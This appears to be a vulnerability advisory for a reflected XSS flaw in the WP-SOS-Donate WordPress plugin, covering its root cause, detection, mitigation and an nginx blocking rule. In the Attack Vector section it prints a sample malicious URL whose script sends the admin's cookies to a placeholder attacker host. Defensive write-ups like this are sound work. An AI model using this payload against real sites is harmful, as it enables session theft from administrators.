CVE-2025-13625: WP-SOS-Donate Plugin XSS Vulnerability

CVE-2025-13625 Overview

CVE-2025-13625 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WP-SOS-Donate Donation Sidebar Plugin for WordPress. The flaw affects all versions up to and including 0.9.2. It stems from insufficient input sanitization and output escaping on the $_SERVER['PHP_SELF'] value used in wp-sos-donate_options.php. Unauthenticated attackers can inject arbitrary web scripts that execute when a targeted user clicks a crafted link. The vulnerability is classified under CWE-79.

Critical Impact
Unauthenticated attackers can execute arbitrary JavaScript in an administrator's browser session, enabling session theft, privilege abuse, or malicious redirection when a victim clicks a crafted URL.

Affected Products

WP-SOS-Donate Donation Sidebar Plugin for WordPress — all versions through 0.9.2
Affected file: wp-sos-donate_options.php (line 45)
WordPress sites with the plugin active and administrators able to access plugin option pages

Discovery Timeline

2025-12-05 - CVE-2025-13625 published to NVD
2026-06-17 - Last updated in NVD database

Technical Details for CVE-2025-13625

Vulnerability Analysis

The WP-SOS-Donate plugin exposes a reflected XSS sink in its administrative options page. The plugin outputs the value of $_SERVER['PHP_SELF'] directly into an HTML context without sanitization or escaping. Because PHP_SELF reflects the requested URL path, an attacker can append arbitrary content after the script filename using path traversal segments like /index.php/"><script>...</script>. The injected payload is echoed back to the responding page, where the browser parses and executes it.

Exploitation requires user interaction. The attacker must trick an authenticated WordPress user, typically an administrator viewing the plugin options page, into clicking a crafted link. Successful exploitation can lead to session hijacking through cookie theft, forced administrative actions, or delivery of secondary payloads. The scope is changed because scripts execute in the context of the WordPress admin origin.

Root Cause

The root cause is direct concatenation of $_SERVER['PHP_SELF'] into HTML output, likely inside a <form action="..."> attribute on line 45 of wp-sos-donate_options.php. WordPress provides safe alternatives such as esc_url(), esc_attr(), and the admin_url() helper, none of which are applied. This is a classic reflected XSS pattern in legacy PHP code that predates modern output escaping practices.

Attack Vector

An attacker crafts a URL of the form https://victim-site.example/wp-admin/options-general.php/"><script>fetch('//attacker/'+document.cookie)</script> targeting the plugin's settings page. When an authenticated administrator clicks the link, the browser sends the request, and the plugin renders the malicious path back into the HTML response. The injected JavaScript executes with the privileges of the WordPress admin session.

The vulnerability manifests through unsafe reflection of the server request path. See the Wordfence Vulnerability Report and the WordPress Plugin Source Code for technical details.

Detection Methods for CVE-2025-13625

Indicators of Compromise

Web server access logs containing requests to wp-admin/options-general.php with encoded <script>, onerror=, or javascript: sequences appended after the PHP filename
Outbound HTTP requests from administrator browsers to unrecognized domains shortly after clicking inbound links
Unexpected creation or modification of WordPress admin accounts following an admin session visit to plugin settings

Detection Strategies

Inspect HTTP request paths for suspicious characters (<, >, ", %3C, %3E) following .php segments in URIs targeting /wp-admin/
Deploy Web Application Firewall (WAF) rules that block reflected XSS payloads in the PATH_INFO portion of requests
Correlate referrer headers pointing to external phishing infrastructure with subsequent admin-panel activity

Monitoring Recommendations

Monitor WordPress wp_users and wp_usermeta tables for unauthorized privilege changes
Enable and review Content Security Policy (CSP) violation reports for inline script executions in the admin origin
Alert on any request to plugin option pages containing URL-encoded angle brackets or event handler attributes

How to Mitigate CVE-2025-13625

Immediate Actions Required

Deactivate and remove the WP-SOS-Donate Donation Sidebar Plugin until a patched release is published
Audit administrator accounts for unauthorized changes and rotate credentials and session tokens
Deploy a WAF rule to block requests to wp-sos-donate_options.php containing script or event-handler tokens in the path

Patch Information

No fixed version is identified in the enriched advisory data at the time of publication. All versions up to and including 0.9.2 remain vulnerable. Consult the WordPress Plugin Overview and the Wordfence Vulnerability Report for updates on a vendor patch.

Workarounds

Remove or disable the plugin on all WordPress sites where it is installed
Restrict access to /wp-admin/ by IP allowlist to limit exposure of authenticated administrators to crafted links
Enforce a strict Content Security Policy that disallows inline scripts within the WordPress admin interface
Train administrators to avoid clicking untrusted links referencing their own site's admin URLs

bash

# Example nginx rule to block angle brackets in admin paths
location ~* /wp-admin/.*\.(php).* {
    if ($request_uri ~* "(<|>|%3C|%3E|script|onerror=)") {
        return 403;
    }
}